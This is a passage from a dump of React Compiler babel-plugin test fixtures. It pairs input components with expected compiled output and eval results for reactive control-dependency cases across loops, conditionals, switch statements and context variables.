    "content": "function Component(props) {\n  let x;\n  for (const key in props.values) {\n    const i = parseInt(key, 10);\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is derived from\n  // `props.values` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {values: {'12': true}},\n    {values: {'12': true}},\n    {values: {'1': true}},\n    {values: {'1': true}},\n    {values: {'12': true}},\n    {values: {'1': true}},\n    {values: {'12': true}},\n    {values: {'1': true}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  for (const i of props.values) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is derived from\n  // `props.values` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {values: [12]},\n    {values: [12]},\n    {values: [1]},\n    {values: [1]},\n    {values: [12]},\n    {values: [1]},\n    {values: [12]},\n    {values: [1]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  for (const i of props.values) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { values: [12] },\n    { values: [12] },\n    { values: [1] },\n    { values: [1] },\n    { values: [12] },\n    { values: [1] },\n    { values: [12] },\n    { values: [1] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [10]\n[10]\n[1]\n[1]\n[10]\n[1]\n[10]\n[1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.js",
    "content": "function Component(props) {\n  let x;\n  for (const i of props.values) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is derived from\n  // `props.values` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {values: [12]},\n    {values: [12]},\n    {values: [1]},\n    {values: [1]},\n    {values: [12]},\n    {values: [1]},\n    {values: [12]},\n    {values: [1]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(false);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x = 0;\n  do {\n    x += 1;\n  } while (c[0][0]);\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(false);\n\n  const c = [a];\n\n  let x = 0;\n  do {\n    x = x + 1;\n  } while (c[0][0]);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(false);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x = 0;\n  do {\n    x += 1;\n  } while (c[0][0]);\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push({a: false});\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (const i in c[0][0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push({ a: false });\n\n  const c = [a];\n\n  let x;\n  for (const i in c[0][0]) {\n    x = 1;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push({a: false});\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (const i in c[0][0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(0);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (let i = c[0][0]; i < 10; i++) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(0);\n\n  const c = [a];\n\n  let x;\n  for (let i = c[0][0]; i < 10; i++) {\n    x = 1;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(0);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (let i = c[0][0]; i < 10; i++) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (const i of c[0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  const c = [a];\n\n  let x;\n  for (const i of c[0]) {\n    x = 1;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (const i of c[0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(10);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (let i = 0; i < c[0][0]; i++) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(10);\n\n  const c = [a];\n\n  let x;\n  for (let i = 0; i < c[0][0]; i++) {\n    x = 1;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(10);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (let i = 0; i < c[0][0]; i++) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(10);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (let i = 0; i < 10; i += c[0][0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(10);\n\n  const c = [a];\n\n  let x;\n  for (let i = 0; i < 10; i = i + c[0][0], i) {\n    x = 1;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(10);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  for (let i = 0; i < 10; i += c[0][0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  if (c[0][0]) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  const c = [a];\n\n  let x;\n  if (c[0][0]) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  if (c[0][0]) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  switch (c[0][0]) {\n    case true: {\n      x = 1;\n      break;\n    }\n    default: {\n      x = 2;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  const c = [a];\n\n  let x;\n  bb0: switch (c[0][0]) {\n    case true: {\n      x = 1;\n      break bb0;\n    }\n    default: {\n      x = 2;\n    }\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  switch (c[0][0]) {\n    case true: {\n      x = 1;\n      break;\n    }\n    default: {\n      x = 2;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  while (c[0][0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  const c = [a];\n\n  let x;\n  while (c[0][0]) {\n    x = 1;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-while.js",
    "content": "function Component(props) {\n  // a and b are independent but their mutations are interleaved, so\n  // they get grouped in a reactive scope. this means that a becomes\n  // reactive since it will effectively re-evaluate based on a reactive\n  // input\n  const a = [];\n  const b = [];\n  b.push(props.cond);\n  a.push(null);\n\n  // Downstream consumer of a, which initially seems non-reactive except\n  // that a becomes reactive, per above\n  const c = [a];\n\n  let x;\n  while (c[0][0]) {\n    x = 1;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `c[0]` which becomes reactive via\n  // being interleaved with `b`.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  if (props.cond) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.cond` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if (props.cond) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[1]\n[2]\n[2]\n[1]\n[2]\n[1]\n[2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-if.js",
    "content": "function Component(props) {\n  let x;\n  if (props.cond) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.cond` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  // Reassign `x` based on a reactive value, but inside a function expression\n  // to make it a context variable\n  const f = () => {\n    if (props.cond) {\n      x = 1;\n    } else {\n      x = 2;\n    }\n  };\n  // Pass `f` through a function to prevent IIFE inlining optimizations\n  const f2 = identity(f);\n  f2();\n\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" value `props.cond` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props) {\n    const f = () => {\n      if (props.cond) {\n        x = 1;\n      } else {\n        x = 2;\n      }\n    };\n\n    const f2 = identity(f);\n    f2();\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x) {\n    t0 = [x];\n    $[2] = x;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[1]\n[2]\n[2]\n[1]\n[2]\n[1]\n[2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-on-context-variable.js",
